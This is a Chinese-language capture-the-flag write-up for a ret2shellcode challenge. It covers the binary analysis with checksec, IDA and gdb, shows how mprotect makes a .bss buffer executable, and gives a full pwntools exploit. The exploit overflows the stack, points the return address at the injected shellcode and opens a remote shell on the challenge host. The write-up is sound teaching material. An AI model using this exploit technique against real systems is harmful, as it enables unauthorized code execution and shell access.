首先checksec一下,如下图
根据题目就可以知道,这道题考的是ret2shellcode了,注意一下这边nx保护是开启的,接着利用
ida分析一下附件,进入main函数分析如下
注意nx保护开启,所以这边的mprotect函数需要额外关注一下,进入buff观察看下
可以知道buff在bss段存储且我们知道地址,这边我们通过gdb调试,来查看经过mprotect函数后的
各段情况,断点打在0x401220,然后按n单步调试,期间可以通过vmmap,查看内存情况,可以
得到以下两张图的对比
我们知道buff在bss段,而且地址是0x4040a0也就是介于0x404000和0x405000之间,后面
可以看到该内存权限由rw变为了rwx,也就是可以执行了,那么这个时候注入的shellcode就可
以执行了,从而获取shell,exp如下
from pwn import *
context(log_level="debug",arch='amd64')
p = remote('node5.anna.nssctf.cn',27979)
shellcode=asm(shellcraft.sh())
buff_addr= 0x4040a0
bias = 0x100+0x8
payload = shellcode.ljust(bias,b'a')+p64(buff_addr)
p.sendline(payload)
p.interactive()
这边我来解释一下payload = shellcode.ljust(bias,b'a') +p64(buff_addr) 这一行的意思,上面已经
定义好了shellcode和bias的值,大概意思就是,将shellcode左对齐补满bias个长度如果不够,就
用a填补上
大概攻击思路,read函数读入字符串,这边通过将shellcode存储到s数组中,然后再是溢出
将main函数的返回地址修改为buff的地址,由于main函数中会将s的内容复制给buff,所以
main函数运行结束后buff中会有shellcode,此时由于返回地址被覆盖为了buff的地址,此时
就会执行shellcode,攻击奏效,可以获得shell。。。